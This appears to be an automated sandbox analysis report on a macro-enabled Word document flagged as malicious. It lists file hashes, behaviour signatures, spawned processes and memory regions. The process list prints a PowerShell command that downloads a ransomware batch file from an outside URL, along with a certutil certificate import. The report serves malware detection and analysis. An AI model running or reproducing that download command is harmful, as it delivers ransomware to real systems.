Analysis

  • max time kernel
    144s
  • max time network
    122s
  • platform
    windows7_x64
  • resource
    win7-20240220-en
  • resource tags

    arch:x64arch:x86image:win7-20240220-enlocale:en-usos:windows7-x64system
  • submitted
    22-05-2024 20:00

General

  • Target

    68703d8cedb9a7eb60e981edf3139600_JaffaCakes118.docm

  • Size

    21KB

  • MD5

    68703d8cedb9a7eb60e981edf3139600

  • SHA1

    c51afd15c9094315807afa271037295eb001d5f4

  • SHA256

    7e4670540c176586d4d4a3ab854584dec70d14258236e716e8807a699f4238a8

  • SHA512

    7bb915317720dee5849cbd9e99d8ca1b00ccd84c974f2f8821f7c8c7fda4d4553d589079cebb162a52d021382d81fdb79f4fa1672c90f509f0060392039686ee

  • SSDEEP

    384:u+LNPhLpJq+XKW/0PeZBhdh9UW5RbbJxfL2GwBobRZfHLM2otMn:u+NPhL/iW82bhz9UsH32NwRZ/IHtq

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://www.huikeshoven.net/rWareSample/execute-ransomware.bat

Signatures

  • Process spawned unexpected child process 2 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 1 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies Internet Explorer settings 1 TTPs 9 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 6 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\68703d8cedb9a7eb60e981edf3139600_JaffaCakes118.docm"
    1⤵
    • Modifies Internet Explorer settings
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2912
    • C:\Windows\SysWOW64\certutil.exe
      "C:\Windows\System32\certutil.exe" -f -p password -importpfx C:\Users\Admin\Downloads\rWareSamples\artifact-testing.pfx
      2⤵
      • Process spawned unexpected child process
      PID:2820
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" IEX (New-Object Net.WebClient).DownloadFile('http://www.huikeshoven.net/rWareSample/execute-ransomware.bat', 'C:\Users\Admin\Downloads\execute-ransomware.bat')
      2⤵
      • Process spawned unexpected child process
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2524

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • memory/2912-0-0x000000002FFC1000-0x000000002FFC2000-memory.dmp

    Filesize

    4KB

  • memory/2912-1-0x000000005FFF0000-0x0000000060000000-memory.dmp

    Filesize

    64KB

  • memory/2912-2-0x00000000711ED000-0x00000000711F8000-memory.dmp

    Filesize

    44KB

  • memory/2912-9-0x00000000007C0000-0x00000000008C0000-memory.dmp

    Filesize

    1024KB

  • memory/2912-10-0x00000000007C0000-0x00000000008C0000-memory.dmp

    Filesize

    1024KB

  • memory/2912-14-0x00000000007C0000-0x00000000008C0000-memory.dmp

    Filesize

    1024KB

  • memory/2912-18-0x00000000007C0000-0x00000000008C0000-memory.dmp

    Filesize

    1024KB

  • memory/2912-17-0x00000000007C0000-0x00000000008C0000-memory.dmp

    Filesize

    1024KB

  • memory/2912-12-0x00000000007C0000-0x00000000008C0000-memory.dmp

    Filesize

    1024KB

  • memory/2912-8-0x00000000007C0000-0x00000000008C0000-memory.dmp

    Filesize

    1024KB

  • memory/2912-21-0x00000000711ED000-0x00000000711F8000-memory.dmp

    Filesize

    44KB

  • memory/2912-22-0x00000000007C0000-0x00000000008C0000-memory.dmp

    Filesize

    1024KB